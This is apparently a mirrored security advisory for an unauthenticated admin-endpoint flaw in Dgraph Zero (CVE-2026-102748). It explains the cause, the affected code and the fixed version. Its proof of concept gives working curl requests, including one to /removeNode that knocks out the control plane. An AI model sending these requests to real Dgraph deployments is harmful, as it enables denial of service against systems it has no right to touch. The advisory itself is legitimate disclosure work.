github.com/dgraph-io/dgraph/v25
Affected
- introduced
0, fixed25.4.0(semver)
Fixed versions
25.4.0
Fix
- Fixed version
25.4.0go get github.com/dgraph-io/dgraph/[email protected]
Advisory
Also known as: CVE-2026-102748
Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service
Summary
Dgraph v25.3.8 exposes a Zero HTTP administrative surface that is unauthenticated when port 6080 is reachable.
The exposed routes include:
/state/assign/removeNode/moveTabletAn unauthenticated request to /removeNode?id=1&group=0 on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to localhost:5080.
Details
The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.
Relevant code paths:
worker/server_state.go:41dgraph/cmd/zero/run.go:295-301dgraph/cmd/zero/http.go:106-129dgraph/cmd/zero/zero.go:475-477The relevant behavior is:
disable-admin-http=false by default/removeNode accepts attacker-controlled id and groupremoveNode forwards those directly into Server.RemoveNodegroup=0, Server.RemoveNode immediately calls ProposePeerRemovalThis means a remote unauthenticated caller can directly trigger destructive membership operations if 6080 is exposed.
PoC
Read state without authentication
curl -i http://127.0.0.1:6080/state
Observed response included:
id=1groupId=0leader=true<img width="1878" height="810" alt="图片" src="https://github.com/user-attachments/assets/c6a0001c-bcf7-45b6-a301-481f918be98a" />
Write-capable route without authentication
curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'
Observed response:
HTTP/1.1 200 OK
...
{"startId":"1", "endId":"1", "readOnly":"0"}
This confirms the admin plane is not merely informational.
<img width="1877" height="805" alt="图片" src="https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7" />
Destructive unauthenticated removeNode
curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'
Observed result:
curl: (52) Empty reply from server
<img width="1877" height="806" alt="图片" src="https://github.com/user-attachments/assets/a837c385-1c2d-42b6-a5c9-0d93a974ff4e" />
Immediately afterward:
curl -i http://127.0.0.1:6080/health
Observed result:
curl: (56) Recv failure: Connection reset by peer
<img width="786" height="47" alt="图片" src="https://github.com/user-attachments/assets/bd5e977d-d046-4626-b3df-155b141564fa" />
Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:
dial tcp [::1]:5080: connect: connection refused
<img width="1688" height="197" alt="图片" src="https://github.com/user-attachments/assets/8ae3bb84-65bc-4951-ad32-5e1c3231c894" />
This confirms the request reached the destructive path and disrupted the Zero control plane.
Impact
Any deployment that exposes Zero HTTP on 6080 exposes destructive unauthenticated administrative capabilities.
An attacker can:
This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.
Critical Basis: The source's own band: CRITICAL
0, fixed 25.4.0 (semver)25.4.0
25.4.0go get github.com/dgraph-io/dgraph/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0